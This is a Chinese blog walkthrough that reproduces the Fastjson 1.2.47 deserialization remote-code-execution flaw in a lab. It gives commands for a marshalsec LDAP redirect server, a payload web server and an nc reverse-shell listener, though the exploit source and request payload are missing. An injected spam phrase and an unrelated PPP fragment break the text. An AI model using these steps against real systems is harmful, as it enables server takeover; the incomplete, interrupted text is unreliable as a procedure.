本篇文章给大家分享的是有关如何实现Fastjson漏洞分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。FastJson特点如下:(1)能够支持将java bean序列化成JSON字符串,也能够将JSON字符串反序列化成Java bean。(2)顾名思义,FastJson操作JSON的速度是非常快的。(3)无其他包的依赖。(4)使用比较方便。Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。Fastjson
虚拟机:centos7所需环境:jdk8JDK8下载地址:https://pan.baidu.com/s/1nuxQJkYwkY2UOaPEIshQig提取码:lc0iTomcatTomcat下载地址:https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.36/bin/Fastjson1.2.47Fastjson1.2.47下载地址:链接:https://pan.baidu.com/s/1D0gDc3NGXlHQ2Yamy4zHtQ 提取码:ps2p本地搭建Tomcat1、安装jdk8并配免费云主机域名置环境变量首先在usr目录下创建一个java的目录mkdir /usr/java2、将下载好的jdk8的安装包放在usr/java目录下,使用tar解压,mv重命名tar zxvf jdk-8u141-linux-x64.tarmv jdk-8u141-linux-x64.tar/ jdk8 //重命名为jdk83、配置系统环境变量,使用vim编辑profile文件vim/etc/profile在最后一行加上一下代码保存后使用java -version 查看是否配置成功Java环境安装好,再来安装Tomcat把Tomcat传上Centos7上,使用tar zxvf apache-tomcat-9.0.36.tar.gz解压使用命令重命名tomcatmv apache-tomcat-9.0.27 tomcat9//重命名为tomcat9授予tomcat9这个文件夹为777权限chmod 777 tomcat9/把tomcat的加入到环境变量vim /etc/profileexport CATALINA_HOME=/tomcat9//存放tomcat的目录应用环境变量source /etc/profile启动tomcat,进入tomcat9下的bin目录cd tomcat9/binsudo ./catalina.sh start//启动tomcat浏览器访问http://ip:8080 查看复制fastjson1.2.47到webapps文件夹下,解压,访问出现hello word环境即搭建成功1、编译生成Exploit.class首先将以下代码保存为Exploit.java,反弹shell命令在代码内,可自行更改然后编译Exploit.java,会生成一个Exploit.class文件javac Exploit.java2.开启3个监听窗口第一个使用python3开启一个临时服务,然后把编译好的Exploit.class文件放至web目录下,使浏览器访问会下载python -m http.server 8000注:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件第二个服务器使用刚才下载的工具marshalsec开启LDAP服务监听:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.10.106:8000/#Exploit 6666注:使用marshalsec工具快捷的开启LDAP服务,借助LDAP服务将LDAP reference result 重定向到web服务器第3个,开启nc监听设定的端口Nc -lvnp 4444访问fastjson页面使用Burp抓包,构造数据包修改为POST请求,使用EXP发送后可以看到nc监听窗口成功得到shell将Fastjson升级到最新版本以上就是如何实现Fastjson漏洞分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注云编程开发博客行业资讯频道。
ppp:Public—Private—Partnership首部中的标志字段F(Flag),规定为0x7E(符号0x表示它后面的字符是用十六进制表示的。十六进制的7E的二进制表示是01111110),标志字段表示一个帧的开始。首部中的地址字段A规定为0xFF(…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。